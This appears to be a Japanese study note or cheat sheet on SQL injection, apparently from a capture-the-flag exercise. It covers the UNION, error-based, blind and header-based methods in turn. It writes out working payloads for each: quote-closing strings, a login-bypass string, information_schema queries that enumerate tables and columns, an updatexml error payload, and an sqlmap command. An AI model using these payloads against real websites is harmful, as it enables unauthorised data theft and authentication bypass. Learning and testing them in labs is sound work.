エラーベースSQLインジェクション
原理
ユーザー入力がSQL文としてデータベースで実行される。Webサイトが入力されたSQL文を実行する場合、SQLインジェクション脆弱性が存在する。
入力場所: ①検索ボックスなどの入力欄 ②URLパラメータ (domain/search?keyword=123)
基本構文
SELECT 列名 FROM テーブル名 WHERE 条件 / * = 全件選択
注入プロセス
① SQL脆弱性の判断
and 1=1 → 結果あり / and 1=2 → 結果なし → 脆弱性あり
② ORDER BYで列数判定
ORDER BY 1~3 → 結果あり、ORDER BY 4 → 結果なし → 3列
③ UNIONで表示位置確認
UNION SELECT 1,2,3
④ データ取得
version() / database() → バージョン・DB名
テーブル名取得: UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
列名取得: UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='error_flag' LIMIT 1,1
データ取得: UNION SELECT 1,2,flag FROM error_flag LIMIT 1,1
引用符の閉じ方
- 数値型:
and 1=1 - 文字列型(
'):' and 1=1 --+ - 括弧型(
('):') and 1=1 --+
コメント: --+, #, --d
AND/OR: 万能パスワード ' or 2-1=1 -- asdf
ブラインドSQLインジェクション
論理ブラインド
AND length(database())=12 → 結果あり → DB名は12文字
AND substr(database(),1,1)='k' → 最初の文字を推測
時間ブラインド
IF(条件, sleep(5), 3) → 条件成立時に5秒遅延
SQLMap
python sqlmap.py -u "URL"
HEADインジェクション
User-Agent / Referer / X-Forwarded-For 経由の注入。updatexml(1,concat(0x7e,(SELECT version())),1),1) でエラーベース注入。